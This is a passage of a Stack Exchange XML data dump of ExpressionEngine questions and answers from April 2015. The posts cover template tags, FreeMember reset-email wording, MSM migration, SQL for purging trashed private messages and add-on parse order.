model&#xA;$file_column = array(&#xA;    'field_id' =&amp;gt; $field_id,&#xA;    'content_type' =&amp;gt; 'channel',&#xA;    'col_order' =&amp;gt; 1,&#xA;    'col_type' =&amp;gt; 'file',&#xA;    'col_label' =&amp;gt; 'File',&#xA;    'col_name' =&amp;gt; 'file',&#xA;    'col_instructions' =&amp;gt; 'A floor plan.',&#xA;    'col_required' =&amp;gt; 'y',&#xA;    'col_search' =&amp;gt; 'n',&#xA;    'col_settings' =&amp;gt; json_encode(array(&#xA;        'field_content_type' =&amp;gt; 'all',&#xA;        'show_existing' =&amp;gt; 'y',&#xA;        'field_required' =&amp;gt; 'y',&#xA;    )),&#xA;);&#xA;$new_col_id = ee()-&amp;gt;grid_model-&amp;gt;save_col_settings($file_column, FALSE);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Give this a try, be sure to read the comments in &lt;code&gt;Grid_Model.php&lt;/code&gt; as you go, and also check the return values and the database as you go through :)&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-08T12:02:32.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30927" PostTypeId="1" AcceptedAnswerId="30929" CreationDate="2015-04-08T12:29:41.060" Score="1" ViewCount="193" Body="&lt;p&gt;The question says it all. Here's the why:&lt;/p&gt;&#xA;&lt;p&gt;When FreeMember sends a password reset email, the text is as follows:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;[screen_name],&lt;/p&gt;&#xA;&lt;p&gt;To reset your password, please go to the following page:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.example.com/member/reset-password/%5Bhash%5D&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.example.com/member/reset-password/[hash]&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then log in with your username: [username]&lt;/p&gt;&#xA;&lt;p&gt;If you do not wish to reset your password, ignore this message. It will&#xA;expire in 24 hours.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The problem is that I'm using an email+pwd login method, not username+pwd, so I'd like to alter the email to say &amp;quot;email&amp;quot; instead of &amp;quot;username&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Another issue is the fact that the email shows the member's &amp;quot;username&amp;quot; instead of &amp;quot;email&amp;quot;. In most cases members registered via FreeMember's system, so their email and username will be the same. However, for members created prior to implementing FreeMember, or members registered via other methods (EE backend, etc), their username is probably &lt;em&gt;not&lt;/em&gt; the same as their email, making the Reset Password email's wording misleading.&lt;/p&gt;&#xA;&lt;p&gt;Both issues can be fixed by changing the wording and tags of the FreeMember email, so... where can that be found?&lt;/p&gt;&#xA;" OwnerUserId="544" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2015-04-08T13:42:40.857" Title="Where can I change the wording of the Reset Password email FreeMember sends?" Tags="|email|freemember|forgot-password|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30928" PostTypeId="1" CreationDate="2015-04-08T13:22:30.183" Score="0" ViewCount="43" Body="&lt;p&gt;I'm having a little trouble figuring out the best way to migrate an install of EE with MSM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 2 sites set up with MSM that are currently live. I need to switch to a new host but I obviously can't set up the new host with the existing domain names since they are already hosted elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I go about setting it up on the new host?&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2015-04-08T16:51:59.263" Title="Server Migration with MSM" Tags="|multi-site-manager|server-migration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30929" PostTypeId="2" ParentId="30927" CreationDate="2015-04-08T13:30:28.947" Score="1" Body="&lt;p&gt;You can edit the forgot_password template in &lt;code&gt;EE Control Panel &amp;gt; Design &amp;gt; Message Pages &amp;gt; Email Notifications &amp;gt; Forgotten Password Instructions&lt;/code&gt;. You can change the username variable and text to email. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you will have to add the email variable. In &lt;code&gt;system &amp;gt; third_party &amp;gt; freemember &amp;gt; libraries &amp;gt; freemember_lib.php&lt;/code&gt; after line 276 add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$email_vars[0]['email'] = $member-&amp;gt;email;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1539" LastEditorUserId="1539" LastEditDate="2015-04-08T13:42:40.857" LastActivityDate="2015-04-08T13:42:40.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30930" PostTypeId="2" ParentId="30564" CreationDate="2015-04-08T13:33:08.767" Score="2" Body="&lt;p&gt;It doesn't look like you have any nice extension hooks for the PM system. What you'll likely need to do is create a custom extension that hooks a member logging in and deletes the 'deleted' messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 1&lt;/strong&gt; Create an extension that hooks a member login&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you'll need to hook &lt;code&gt;member_member_login_single&lt;/code&gt;, see this documentation on how to wrap an extension : &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extensions.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/extensions.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt; Check for deleted messages for the user&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From Step 1 you should have the members ID (if not it should be in the global vars) so what you can do is execute a query like this to get all the messages from the DB that belong to the user and are deleted (in the trash) : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT mc .*,md.* &#xA;FROM exp_message_copies AS mc &#xA;JOIN exp_message_data AS md &#xA;ON mc.message_id = md.message_id &#xA;WHERE mc.message_deleted = 'y' &#xA;AND mc.recipient_id = 2 &#xA;AND md.message_date &amp;lt; (UNIX_TIMESTAMP( NOW( ) ) - ( 3600 *12 ))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;assuming here that the member ID logging in is &lt;code&gt;2&lt;/code&gt; and we're looking for messages that are ovef 12 hours old (3600 * 12)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In EE, we can use ActiveRecord for this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = ee()-&amp;gt;db-&amp;gt;select('mc.*,md.*')&#xA;             -&amp;gt;from('message_copies AS mc')&#xA;             -&amp;gt;join('message_data AS md', 'mc.message_id = md.message_id')&#xA;             -&amp;gt;where('mc.message_deleted', 'y')&#xA;             -&amp;gt;where('mc.recipient_id', $memberId)&#xA;             -&amp;gt;where('md.message_date &amp;lt;', '(UNIX_TIMESTAMP(NOW()) - ' . $period . ')')&#xA;             -&amp;gt;get();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;here we assume $memberId is the id for the logging in member, $period is the cut off, so now - 12 hours == 43200&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 3&lt;/strong&gt; Delete the deleted messages!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the code above, we'll have none or more items in the $query record set. We can then iterate these and delete them from the db (&lt;code&gt;message_copies&lt;/code&gt; table).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( $query-&amp;gt;num_rows() &amp;gt; 0 ){&#xA;    foreach ( $query-&amp;gt;result_array() as $row ) {&#xA;        ee()-&amp;gt;db-&amp;gt;where('copy_id', $row['copy_id'])&#xA;                -&amp;gt;delete('message_copies');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Voila! The hardest part of this may be building the actual extension!&#xA;Hope this answers your questions, I tested this (I didn't create the module, but I did create real PM's and tested the delete code) on EE v2.8.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;s&gt;One last note, I notice that doing this removes the message from the senders 'send' folder as well. I can't be sure if this was ever copied to the sent folder though! I believe by looking at the code another method would be to replace the delete statement with an update, and update the &lt;code&gt;message_folder&lt;/code&gt; to 0.&lt;/s&gt;&#xA;&lt;em&gt;I did some further checking and the above method won't interfere with sent messages&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some more looking around, I notice from the PM libraries (check out the &lt;code&gt;erase&lt;/code&gt; funtion on line 2022ish on /system/expressionengine/libraries/Messages.php) that when messages are deleted you'll need to clean up attachments too (line 2077) and update the message count (line 2097) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = ee()-&amp;gt;db-&amp;gt;query(&quot;SELECT COUNT(*) AS count FROM exp_message_copies&#xA;                         WHERE recipient_id = '{$this-&amp;gt;member_id}'&#xA;                         AND message_read = 'n'&quot;);&#xA;&#xA;$results = ee()-&amp;gt;db-&amp;gt;query(&quot;UPDATE exp_members SET private_messages = '&quot;.ee()-&amp;gt;db-&amp;gt;escape_str($query-&amp;gt;row('count') ).&quot;'&#xA;                            WHERE member_id = '{$this-&amp;gt;member_id}'&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-04-09T11:03:37.040" LastActivityDate="2015-04-09T11:03:37.040" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30931" PostTypeId="2" ParentId="30923" CreationDate="2015-04-08T14:00:14.783" Score="0" Body="&lt;p&gt;Surround the channel entries tag with the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/archive_month_links.html&quot; rel=&quot;nofollow&quot;&gt;archive month links&lt;/a&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:month_links channel=&quot;YOUR_CHANNEL&quot; limit=&quot;12&quot;}&#xA;    {exp:channel:entries channel=&quot;YOUR_CHANNEL&quot; limit=&quot;1&quot; year=&quot;{year}&quot; month=&quot;{month_num}&quot;}&#xA;        {entry_date format=&quot;%Y  , %m&quot;} : last entry is &quot;{title}&quot;;&#xA;    {/exp:channel:entries}&#xA;{/exp:channel:month_links}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1539" LastActivityDate="2015-04-08T14:00:14.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30932" PostTypeId="1" AcceptedAnswerId="30933" CreationDate="2015-04-08T14:29:38.470" Score="0" ViewCount="88" Body="&lt;p&gt;I need to send a page URL as a parameter into a plugin. So I have a global var called lv_shop_page (early parsing) which is an entry ID to a page which I'm passing to structure's &lt;code&gt;{structure:page_uri_for:X}&lt;/code&gt; function. When I just output &lt;code&gt;{structure:page_uri_for:{lv_shop_page}}&lt;/code&gt; it comes out with the proper URL but when I put this into the parameter of a plugin like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:someplugin&#xA;parse=&quot;inward&quot;&#xA;page=&quot;{structure:page_uri_for:{lv_shop_page}}/blah/blah&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{structure:page_uri_for:470}/blah/blah&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know this is a parse order problem, is there any way round this so I can make &lt;code&gt;{structure:page_uri_for:X}&lt;/code&gt; parse earlier than my plugin? Or maybe another workaround using stash or embeds?&lt;/p&gt;&#xA;" OwnerUserId="961" LastActivityDate="2015-04-08T14:51:17.833" Title="{structure:page_uri_for:X} and parse order" Tags="|structure|parse-order|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30933" PostTypeId="2" ParentId="30932" CreationDate="2015-04-08T14:51:17.833" Score="1" Body="&lt;p&gt;The &lt;code&gt;{structure:page_uri_for:XXX}&lt;/code&gt; variable is parsed late, after template parsing has occurred (using the &lt;code&gt;template_post_parse&lt;/code&gt; hook). In other words, too late to be used as a tag parameter in your plugin. However, there is an undocumented Structure tag you can use instead of the &lt;code&gt;{structure:page_uri_for:XXX}&lt;/code&gt; variable: &lt;code&gt;{exp:structure:page_slug}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:someplugin&#xA;    parse=&quot;inward&quot;&#xA;    page=&quot;{exp:structure:page_slug entry_id='{lv_shop_page}'}/blah/blah&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may have to you an embed and/or Stash to get the parse order right, but this should be possible.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2015-04-08T14:51:17.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30934" PostTypeId="1" AcceptedAnswerId="30936" CreationDate="2015-04-08T15:55:55.737" Score="0" ViewCount="65" Body="&lt;p&gt;Is it possible to get the commenter's avatar through the comment:entries tag?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:entries sort=&quot;asc&quot; limit=&quot;9&quot; paginate=&quot;bottom&quot; dynamic=&quot;no&quot;}&#xA;                    &amp;lt;li&amp;gt;&#xA;                        &amp;lt;figure class=&quot;profile-photo&quot;&amp;gt;&amp;lt;img src=&quot;{if avatar_url}{exp:imgsizer:size src='{avatar_url}' width='120' height='120'}{sized}{/exp:imgsizer:size}{if:else}{site_url}img/assets/default_avatar.png{/if}&quot; alt=&quot;&quot;&amp;gt;&amp;lt;/figure&amp;gt;&amp;lt;aside&amp;gt;&#xA;                            &amp;lt;div class=&quot;meta-info&quot;&amp;gt;&#xA;                                &amp;lt;p&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;{name}&amp;lt;/a&amp;gt; &amp;lt;time&amp;gt;{comment_date format=&quot;%Y %m %d&quot;}&amp;lt;/time&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;i class=&quot;icon-review&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&amp;lt;!--meta-info--&amp;gt;&#xA;                            &amp;lt;article&amp;gt;&#xA;                                &amp;lt;p&amp;gt;{exp:stringy:striptags allowed_tags=&quot;&quot;}{comment}{/exp:stringy:striptags}&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;/article&amp;gt;&#xA;                        &amp;lt;/aside&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;                    {paginate}&#xA;                    {pagination_links}&#xA;                    &amp;lt;div class=&quot;pagination&quot;&amp;gt;&#xA;                        &amp;lt;p&amp;gt;Page {pagination_page_number} of {total_pages}:&amp;lt;/p&amp;gt;&amp;lt;!--&#xA;                        --&amp;gt;&amp;lt;ul&amp;gt;&#xA;                            {previous_page}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;prev&quot;&amp;gt;&amp;lt;i class=&quot;icon-left-arrow&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/previous_page}&amp;lt;!--&#xA;                            --&amp;gt;{page}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page {if current_page}active{/if}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/page}&amp;lt;!--&#xA;                            --&amp;gt;{next_page}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;next&quot;&amp;gt;&amp;lt;i class=&quot;icon-right-arrow&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/next_page}&#xA;                        &amp;lt;/ul&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&amp;lt;!--pagination--&amp;gt;&#xA;                    {/pagination_links}&#xA;                    {/paginate}&#xA;                {/exp:comment:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my current code for the latest comments, it doesn't seem to be grabbing the member's avatar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;All the best&#xA;-Graham.&lt;/p&gt;&#xA;" OwnerUserId="6206" LastActivityDate="2015-04-08T17:00:31.167" Title="Comment form entries Avatar?" Tags="|comments|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="30935" PostTypeId="2" ParentId="30928" CreationDate="2015-04-08T16:51:59.263" Score="1" Body="&lt;p&gt;I've run in to this issue before. At your new host, you'll have &lt;strong&gt;tempdomain.hostname.com&lt;/strong&gt; - this can be the primary site. For the secondary site, you may need to grab any old domain (we've used yoursiteinprogress.net) and make that the secondary domain. Update your EE config to point to these domains, and make sure everything works. Then when you're ready to flip the switch on the migration, update EE config to point to the correct domain names.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2015-04-08T16:51:59.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30936" PostTypeId="2" ParentId="30934" CreationDate="2015-04-08T17:00:31.167" Score="0" Body="&lt;p&gt;Take the &lt;code&gt;exp:comment:entries&lt;/code&gt; tag out of the &lt;code&gt;exp:channel:entries&lt;/code&gt; tag and supply either the &lt;code&gt;entry_id&lt;/code&gt; or &lt;code&gt;url_title&lt;/code&gt; of the entry you want. The &lt;code&gt;avatar_url&lt;/code&gt; variable is being overwritten by the channel:entries variable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:entries entry_id=&quot;XXX&quot; sort=&quot;asc&quot; limit=&quot;9&quot; paginate=&quot;bottom&quot; dynamic=&quot;no&quot;}&#xA;   &amp;lt;img src=&quot;{avatar_url}&quot; /&amp;gt;&#xA;{/exp:comment:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1539" LastActivityDate="2015-04-08T17:00:31.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30937" PostTypeId="2" ParentId="30923" CreationDate="2015-04-08T17:49:48.580" Score="0" Body="&lt;p&gt;Why not just use the &lt;code&gt;month&lt;/code&gt; and &lt;code&gt;year&lt;/code&gt; parameters?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;YOURCHANNELNAME&quot; year=&quot;2015&quot; month=&quot;01&quot; status=&quot;not closed&quot; limit=&quot;1&quot; sort=&quot;asc&quot; orderby=&quot;date&quot; disable=&quot;categories|pagination|category_fields|member_data&quot;}&#xA;...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're on an archive page like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http:///www.your-domain-name.com/blog/archive/2015/01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; year=&quot;{segment_3}&quot; month=&quot;{segment_4}&quot; status=&quot;not closed&quot; limit=&quot;1&quot; sort=&quot;asc&quot; orderby=&quot;date&quot; disable=&quot;categories|pagination|category_fields|member_data&quot;}&#xA;        ...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can read more here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#year-month-day&quot; rel=&quot;nofollow&quot;&gt;year=, month=, day=&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2015-04-08T17:49:48.580" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30938" PostTypeId="1" CreationDate="2015-04-08T21:02:59.457" Score="0" ViewCount="120" Body="&lt;p&gt;I am wondering how I can specify the notification template for a form created using the composer feature which has dynamic recipients. When the form is sent to them it always uses the default template. I have tried adding it to the tag in the template &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:composer parse=&quot;inward&quot;&#xA;    form_id=&quot;{exp:stash:get name='petition_id' trim='yes'}&quot;&#xA;    return=&quot;act-now/thank-you&quot;&#xA;    recipient_user_template=&quot;petition_template&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But according to the documentation this is not even a parameter of the composer tag but just of the form tag. I have tried setting the user notification template in the settings of the actual form in the control panel but nothing seems to change it from the default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Freeform Pro 4.2.2 on EE 2.9.2&lt;/p&gt;&#xA;" OwnerUserId="1283" LastActivityDate="2015-04-08T21:02:59.457" Title="Freeform Pro Composer - Dynamic Recipients always uses default notification template" Tags="|solspace-freeform|solspace|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30939" PostTypeId="2" ParentId="30778" CreationDate="2015-04-08T21:21:42.297" Score="0" Body="&lt;p&gt;I think the Solspace docs are outdated. It is not &lt;code&gt;status&lt;/code&gt; but &lt;code&gt;default_status&lt;/code&gt;. Try the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries form_id=&quot;2&quot; default_status=&quot;open|pending|closed&quot;}&#xA;...&#xA;{/exp:freeform:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should get you what you want.&lt;/p&gt;&#xA;" OwnerUserId="2608" LastActivityDate="2015-04-08T21:21:42.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30940" PostTypeId="2" ParentId="20762" CreationDate="2015-04-08T22:52:18.500" Score="0" Body="&lt;p&gt;Sweet - found the solution, need to disable 'enable_sql_caching' as per:&#xA;&lt;a href=&quot;http://structure.tenderapp.com/discussions/problems/7675-pagination-not-working&quot; rel=&quot;nofollow&quot;&gt;http://structure.tenderapp.com/discussions/problems/7675-pagination-not-working&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5037" LastActivityDate="2015-04-08T22:52:18.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30941" PostTypeId="1" CreationDate="2015-04-08T23:15:57.983" Score="0" ViewCount="42" Body="&lt;p&gt;I'm setting up landing pages for our adword campaigns and have created a channel called &quot;adword_landing_pages&quot;. Right now the URL's for these are similar to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.prestwicklimited.com/adword_landing_pages/example_entry/ &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to have these display as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.pretwicklimited.com/example_entry/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've activated the template route manager and added &quot;/{adword:alpha_dash)&quot; to the adword_landing_pages route_manager_route and set the route_manager_required to Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I check my site, every page now displays the adword landing page template. If I add a different path like &quot;/adword/{adword:alpha_dash)&quot;, everything works as expected. The problem is, I want to get rid of the portion of the URL before the entry name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously I'm missing a step in this process or am completely overlooking an easier way to accomplish the task of creating landing pages that don't have the channel name in the url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-04-08T23:15:57.983" Title="Using template routes to create pages which have no channels in the URL" Tags="|template-routes|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30942" PostTypeId="1" AcceptedAnswerId="30944" CreationDate="2015-04-08T23:53:36.510" Score="1" ViewCount="377" Body="&lt;p&gt;I am trying to figure out a way to set to variable values depending on if a specific segment is a number or not.  First how to I check if the segment 2 is a number or not?  I want to apply this type of logic&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if segment_2 is a number&#xA;    {exp:stash:set name=&quot;this_url_title&quot; value=&quot;&quot;}&#xA;    {exp:stash:set name=&quot;this_entry_id&quot; value=&quot;{segment_2}&quot;}&#xA;else&#xA;    {exp:stash:set name=&quot;this_url_title&quot; value=&quot;{segment_2}&quot;}&#xA;    {exp:stash:set name=&quot;this_entry_id&quot; value=&quot;&quot;}&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then use the 2 variables in a channel entries tag like so.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; dynamic=&quot;off&quot; entry_id='{exp:stash:get name=&quot;this_entry_id&quot;}' url_title='{exp:stash:get name=&quot;this_url_title&quot;}' parse=&quot;inward&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I can either pass an entry_id or a url_title in the segment to view the channel entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried hard coding the stash variables and passing them in the entries tag but I get no results.  I tried hard coding them to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;this_url_title&quot;}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;this_entry_id&quot;}123{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2358" LastActivityDate="2015-04-09T02:26:55.830" Title="check if a segment is a number" Tags="|stash|variable|global-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30944" PostTypeId="2" ParentId="30942" CreationDate="2015-04-09T01:17:51.190" Score="4" Body="&lt;p&gt;Using the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/conditionals.html#matches-operator&quot; rel=&quot;nofollow&quot;&gt;matches operator&lt;/a&gt;, which was added in EE v2.9.0:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 ~ &quot;/^\d+$/&quot;}&#xA;    [...]&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2015-04-09T02:26:55.830" LastActivityDate="2015-04-09T02:26:55.830" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30945" PostTypeId="1" AcceptedAnswerId="31083" CreationDate="2015-04-09T09:01:05.437" Score="0" ViewCount="60" Body="&lt;p&gt;We're using MSM with Solspace Super Search, each sub site is reached through a subdomain, eg:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;site_1.oursite.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;site_2.outsite.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, on a search results page that displays results from across all sites, all of the path tags I have tried, such as 'auto_path', get resolved to the current sub domain for all results, and not to the site for each entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could group the results according to sub domain and then set the paths, but is there a way to get the full path for each entry without doing this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:super_search:results paginate=&quot;bottom&quot; limit=&quot;40&quot;}&#xA;        &amp;lt;?php $class = {count} % 2 == 0?'even':'odd';?&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td class=&quot;&amp;lt;?=$class?&amp;gt;&quot; width=&quot;30%&quot; valign=&quot;top&quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;a href=&quot;{url_title_path='/article'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td class=&quot;&amp;lt;?=$class?&amp;gt;&quot; width=&quot;10%&quot; valign=&quot;top&quot;&amp;gt;{author}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td class=&quot;&amp;lt;?=$class?&amp;gt;&quot; width=&quot;10%&quot; valign=&quot;top&quot;&amp;gt;{entry_date format=&quot;%d/%m/%y&quot;}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;&#xA;        {paginate}&#xA;                &amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;        {/paginate}&#xA;&#xA;    {/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="1311" LastEditDate="2015-04-17T11:38:19.357" LastActivityDate="2015-04-17T18:26:00.917" Title="MSM &amp; Super Search results howto retrieve site info for each result" Tags="|solspace|multi-site-manager|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
